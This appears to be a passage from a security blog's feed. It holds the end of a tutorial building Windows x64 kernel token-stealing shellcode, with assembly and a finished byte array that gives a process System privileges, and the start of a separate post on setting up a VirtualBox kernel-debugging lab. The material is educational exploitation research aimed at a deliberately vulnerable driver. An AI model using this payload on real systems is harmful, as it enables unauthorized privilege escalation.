&lt;&#x2F;span&gt;&lt;span&gt;   +0x000 Pcb              : _KPROCESS
&lt;&#x2F;span&gt;&lt;span&gt;   [...]
&lt;&#x2F;span&gt;&lt;span&gt;   +0x2e0 UniqueProcessId  : 0x00000000`00000004 Void
&lt;&#x2F;span&gt;&lt;span&gt;   +0x2e8 ActiveProcessLinks : _LIST_ENTRY [ 0xffffe000`bbc54be8 - 0xfffff801`fed220a0 ]
&lt;&#x2F;span&gt;&lt;span&gt;   [...]
&lt;&#x2F;span&gt;&lt;span&gt;   +0x348 Token            : _EX_FAST_REF
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;So now we know where our current process resides in the kernel (just like &lt;code&gt;kd&lt;&#x2F;code&gt;
gave us using &lt;code&gt;!process 0 0 cmd.exe&lt;&#x2F;code&gt; earlier), and therefore the first of our
shellcode:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;asm&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-asm &quot;&gt;&lt;code class=&quot;language-asm&quot; data-lang=&quot;asm&quot;&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mov &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rax&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;gs&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;:&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x188
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;  &lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mov &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rax&lt;&#x2F;span&gt;&lt;span&gt;, [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rax &lt;&#x2F;span&gt;&lt;span&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xb8&lt;&#x2F;span&gt;&lt;span&gt;]
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;browsing-through-the-process-list-to-reach-system&quot;&gt;Browsing through the process list to reach &lt;code&gt;System&lt;&#x2F;code&gt;&lt;&#x2F;h2&gt;
&lt;p&gt;The processes are stored in the &lt;code&gt;ActiveProcessLinks&lt;&#x2F;code&gt; (offset 0x2e8) of the
&lt;code&gt;nt!_EPROCESS&lt;&#x2F;code&gt; structure, via a &lt;code&gt;_LIST_ENTRY&lt;&#x2F;code&gt;, which is a doubly linked list in
its simplest form:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;txt&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-txt &quot;&gt;&lt;code class=&quot;language-txt&quot; data-lang=&quot;txt&quot;&gt;&lt;span&gt;kd&amp;gt; dt _LIST_ENTRY
&lt;&#x2F;span&gt;&lt;span&gt;ntdll!_LIST_ENTRY
&lt;&#x2F;span&gt;&lt;span&gt;   +0x000 Flink            : Ptr64 _LIST_ENTRY
&lt;&#x2F;span&gt;&lt;span&gt;   +0x008 Blink            : Ptr64 _LIST_ENTRY
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Since we know that &lt;code&gt;System&lt;&#x2F;code&gt; process ID is 4, we can write a very small loop in
assembly, whose pseudo-C code would be:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span&gt;ptrProcess = curProcess
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;while&lt;&#x2F;span&gt;&lt;span&gt; ptrProcess-&amp;gt;UniqueProcessId != SystemProcess-&amp;gt;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;UniqueProcessId &lt;&#x2F;span&gt;&lt;span&gt;(&lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span&gt;) {
&lt;&#x2F;span&gt;&lt;span&gt;   ptrProcess = ptrProcess-&amp;gt;Flink
&lt;&#x2F;span&gt;&lt;span&gt;}
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Which builds the second part of our shellcode:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;asm&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-asm &quot;&gt;&lt;code class=&quot;language-asm&quot; data-lang=&quot;asm&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;;; rax has the pointer to the current KPROCESS
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mov &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rbx&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rax
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;__loop:
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mov &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rbx&lt;&#x2F;span&gt;&lt;span&gt;, [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rbx &lt;&#x2F;span&gt;&lt;span&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x2e8&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt; ;; +0x2e8  ActiveProcessLinks[0].Flink
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;sub &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rbx&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x2e8&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt; ;; nextProcess
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mov &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rcx&lt;&#x2F;span&gt;&lt;span&gt;, [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rbx &lt;&#x2F;span&gt;&lt;span&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x2e0&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt; ;; +0x2e0  UniqueProcessId
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;cmp &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rcx&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;4&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt; ;; compare to target PID
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;jnz &lt;&#x2F;span&gt;&lt;span style=&quot;color:#8fa1b3;&quot;&gt;__loop
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;;; here rbx hold a pointer to System structure
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;overwrite-the-current-process-token-field-with-system-s&quot;&gt;Overwrite the current process token field with &lt;code&gt;System&lt;&#x2F;code&gt;’s&lt;&#x2F;h2&gt;
&lt;p&gt;This is the third and final part of our shellcode, and the easiest since
everything was done in the steps above:&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;asm&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-asm &quot;&gt;&lt;code class=&quot;language-asm&quot; data-lang=&quot;asm&quot;&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;;; rax has the pointer to the current KPROCESS
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;;; rbx has the pointer to System KPROCESS
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mov &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rcx&lt;&#x2F;span&gt;&lt;span&gt;, [&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rbx &lt;&#x2F;span&gt;&lt;span&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x348&lt;&#x2F;span&gt;&lt;span&gt;]&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt; ;; +0x348  Token
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;and &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;cl&lt;&#x2F;span&gt;&lt;span&gt;, &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0xf0&lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt; ;; we must clear the lowest nibble
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;mov &lt;&#x2F;span&gt;&lt;span&gt;[&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rax &lt;&#x2F;span&gt;&lt;span&gt;+ &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;0x348&lt;&#x2F;span&gt;&lt;span&gt;], &lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;rcx
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;the-final-shellcode&quot;&gt;The final shellcode&lt;&#x2F;h1&gt;
&lt;p&gt;We add a few extra instructions to correctly save and restore the context, and
make sure we exit cleanly:&lt;&#x2F;p&gt;
&lt;script src=&quot;https:&#x2F;&#x2F;gist.github.com&#x2F;hugsy&#x2F;763ec9e579796c35411a5929ae2aca27.js&quot;&gt;&lt;&#x2F;script&gt;
&lt;p&gt;We can now simply use any assembler (NASM, YASM) - but I have a personal preference for &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;keystone-engine.org&quot;&gt;Keystone-Engine&lt;&#x2F;a&gt; - to generate a bytecode version of our shellcode.&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;c&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-c &quot;&gt;&lt;code class=&quot;language-c&quot; data-lang=&quot;c&quot;&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;#define &lt;&#x2F;span&gt;&lt;span&gt;LEN &lt;&#x2F;span&gt;&lt;span style=&quot;color:#d08770;&quot;&gt;80
&lt;&#x2F;span&gt;&lt;span&gt;
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#b48ead;&quot;&gt;const char&lt;&#x2F;span&gt;&lt;span&gt; sc[LEN] = &amp;quot;&amp;quot;
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x50&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                                             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; push rax
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x53&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                                             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; push rbx
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x51&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                                             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; push rcx
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x48\x65\xa1\x88\x01\x00\x00\x00\x00\x00\x00&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; mov rax, gs:0x188
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x48\x8b\x80\xb8\x00\x00\x00&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; mov rax, [rax+0xb8]
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x48\x89\xc3&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                                     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; mov rbx, rax
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x48\x8b\x9b\xe8\x02\x00\x00&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; mov rbx, [rbx+0x2e8]
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x48\x81\xeb\xe8\x02\x00\x00&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; sub rbx, 0x2e8
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x48\x8b\x8b\xe0\x02\x00\x00&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; mov rcx, [rbx+0x2e0]
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x48\x83\xf9\x04&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                                 &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; cmp rcx, 4
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x75\x15&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                                         &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; jnz 0x17
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x48\x8b\x8b\x48\x03\x00\x00&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; mov rcx, [rbx + 0x348]
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x48\x89\x88\x48\x03\x00\x00&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; mov [rax + 0x348], rcx
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x59&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                                             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; pop rcx
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x5b&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                                             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; pop rbx
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x58&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                                             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; pop rax
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x58\x58\x58\x58\x58&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; pop rax; pop rax; pop rax; pop rax; pop rax; (required for proper stack return)
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\x48\x31\xc0&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                                     &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; xor rax, rax  (i.e. NT_SUCCESS)
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&lt;&#x2F;span&gt;&lt;span style=&quot;color:#96b5b4;&quot;&gt;\xc3&lt;&#x2F;span&gt;&lt;span&gt;&amp;quot;                                             &lt;&#x2F;span&gt;&lt;span style=&quot;color:#65737e;&quot;&gt;&#x2F;&#x2F; ret
&lt;&#x2F;span&gt;&lt;span&gt;  &amp;quot;&amp;quot;;
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;Once copied into an executable location, this shellcode will grant the current
process with all &lt;code&gt;System&lt;&#x2F;code&gt; privileges.&lt;&#x2F;p&gt;
&lt;p&gt;The next post will actually use this newly created shellcode in a concrete vulnerability exploitation (from the &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hacksysteam&#x2F;HackSysExtremeVulnerableDriver&quot;&gt;Extremely Vulnerable Driver&lt;&#x2F;a&gt; by HackSys Team.&lt;&#x2F;p&gt;
&lt;p&gt;Until then, take care!&lt;&#x2F;p&gt;
&lt;h1 id=&quot;recommended-readings&quot;&gt;Recommended readings&lt;&#x2F;h1&gt;
&lt;ol&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.amazon.com&#x2F;Guide-Kernel-Exploitation-Attacking-Core&#x2F;dp&#x2F;1597494860&quot;&gt;A Guide to Kernel Exploitation - Attacking The Core&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;securitycafe.ro&#x2F;2015&#x2F;10&#x2F;30&#x2F;introduction-to-windows-shellcode-development-part1&#x2F;&quot;&gt;Introduction To Windows Shellcode Development&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;mcdcyber.wordpress.com&#x2F;2011&#x2F;03&#x2F;07&#x2F;x64-kernel-privilege-escalation&#x2F;&quot;&gt;x64 Kernel Privilege Escalation&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;support.microsoft.com&#x2F;en-ca&#x2F;help&#x2F;243330&#x2F;well-known-security-identifiers-in-windows-operating-systems&quot;&gt;Well-Known Security IDentifiers&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;hick.org&#x2F;code&#x2F;skape&#x2F;papers&#x2F;win32-shellcode.pdf&quot;&gt;Understanding Windows Shellcode&lt;&#x2F;a&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
</content>
        
    </entry>
    <entry xml:lang="en">
        <title>Setting up a Windows VM lab for kernel debugging</title>
        <published>2017-08-07T00:00:00+00:00</published>
        <updated>2017-08-07T00:00:00+00:00</updated>
        
        <author>
          <name>
            hugsy
          </name>
        </author>
        
        <link rel="alternate" type="text/html" href="https://blahcat.github.io/2017-08-07-setting-up-a-windows-vm-lab-for-kernel-debugging/"/>
        <id>https://blahcat.github.io/2017-08-07-setting-up-a-windows-vm-lab-for-kernel-debugging/</id>
        
        <content type="html" xml:base="https://blahcat.github.io/2017-08-07-setting-up-a-windows-vm-lab-for-kernel-debugging/">&lt;p&gt;This is the first on a series of posts on Windows kernel debugging and
exploitation.&lt;&#x2F;p&gt;
&lt;p&gt;In this part, we’ll cover in details how to get everything setup using Linux as
host, VirtualBox as hypervisor and Windows virtual images from &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;http:&#x2F;&#x2F;modern.ie&quot;&gt;Modern.IE&lt;&#x2F;a&gt;.&lt;&#x2F;p&gt;
&lt;p&gt;&lt;strong&gt;&lt;em&gt;Note&lt;&#x2F;em&gt;&lt;&#x2F;strong&gt;: there is nothing ground-breaking here, those posts are mostly notes and
reminders for the future. &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;hshrzd.wordpress.com&#x2F;2017&#x2F;05&#x2F;28&#x2F;starting-with-windows-kernel-exploitation-part-1-setting-up-the-lab&#x2F;&quot;&gt;Other people&lt;&#x2F;a&gt; did a fantastic job covering the same
topic, so you might probably be more interested into reading those 😁&lt;&#x2F;p&gt;
&lt;p&gt;I like working on a Linux host, so using &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;virtualkd.sysprogs.org&quot;&gt;VirtualKD&lt;&#x2F;a&gt;
isn’t an option. So my setup is:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;Debian testing x64 as host&lt;&#x2F;li&gt;
&lt;li&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.virtualbox.org&quot;&gt;VirtualBox&lt;&#x2F;a&gt; as hypervisor&lt;&#x2F;li&gt;
&lt;li&gt;A
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;web.archive.org&#x2F;web&#x2F;20170306074002&#x2F;https:&#x2F;&#x2F;developer.microsoft.com&#x2F;en-us&#x2F;microsoft-edge&#x2F;tools&#x2F;vms&#x2F;&quot;&gt;Windows 7 x64 VM&lt;&#x2F;a&gt; acting
as debugger.&lt;&#x2F;li&gt;
&lt;li&gt;And 2 debuggees:
&lt;ol&gt;
&lt;li&gt;Windows 7 x86 VM (using UART as debugging medium)&lt;&#x2F;li&gt;
&lt;li&gt;Windows 8.1 x64 VM (using Network as debugging medium)&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;As a commodity, I’ve created a
&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;modern.ie-vagrant&quot;&gt;&lt;code&gt;Vagrantfile&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; to simplify the VM
creation process using &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;vagrantup.com&quot;&gt;&lt;code&gt;Vagrant&lt;&#x2F;code&gt;&lt;&#x2F;a&gt;. You can create a new
Windows VM like this&lt;&#x2F;p&gt;
&lt;pre data-lang=&quot;bash&quot; style=&quot;background-color:#2b303b;color:#c0c5ce;&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; git clone https:&#x2F;&#x2F;github.com&#x2F;hugsy&#x2F;modern.ie-vagrant Windows7
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; cd Windows7
&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt;$&lt;&#x2F;span&gt;&lt;span&gt; FIRSTBOOT=1 vagrant up&lt;&#x2F;span&gt;&lt;span style=&quot;color:#bf616a;&quot;&gt; --provision
&lt;&#x2F;span&gt;&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;and go grab a coffee ☕&lt;&#x2F;p&gt;
&lt;h2 id=&quot;preparing-the-debugger-vm&quot;&gt;Preparing the Debugger VM&lt;&#x2F;h2&gt;
&lt;p&gt;Once the VM is created and Windows properly installed, edit the VM settings in
VirtualBox to do the following:&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;In the “Serial Ports” tab, enable one port. You can use any “Port Number”
you want, just remember it, as you’ll need to specify it to WinDBG the
Win7 debuggee is ready. Select &lt;code&gt;Host Pipe&lt;&#x2F;code&gt; as “Port Mode” and enter a local
path in the “Path&#x2F;Address” field (for example &lt;code&gt;&#x2F;tmp&#x2F;win7-kd-pipe&lt;&#x2F;code&gt;). This
pipe will be the relay VirtualBox will use to communicate between the
debugger and debuggee through UART. Last, make sure the “Connect to existing
pipe&#x2F;socket” is &lt;strong&gt;unchecked&lt;&#x2F;strong&gt;.&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;dbg-uart-settings.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;dbg-uart-settings.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;ul&gt;
&lt;li&gt;in the “Network” tab, on top of the the default NAT-ed network created by
VirtualBox, add and enable another adapter as Host-Only. Then link it to an
existing interface on the host (for example &lt;code&gt;vboxnet0&lt;&#x2F;code&gt;).&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;a href=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;dbg-network-settings.png&quot; target=&quot;_blank&quot;&gt;
&lt;img
    src=&quot;&amp;#x2F;img&amp;#x2F;win-kernel-debug&amp;#x2F;dbg-network-settings.png&quot;

    

    
    title=&quot;image_alt&quot;
    alt=&quot;image_alt&quot;
    

    
    width=&quot;100%&quot;
    

    
&#x2F;&gt;
&lt;&#x2F;a&gt;
&lt;p&gt;Now the debugger is ready, you need to install WinDBG as the kernel debugger. A
quick way, is to use &lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;chocolatey.org&#x2F;&quot;&gt;&lt;code&gt;Chocolatey&lt;&#x2F;code&gt;&lt;&#x2F;a&gt; in an administrator prompt to install it
as such:&lt;&#x2F;p&gt;
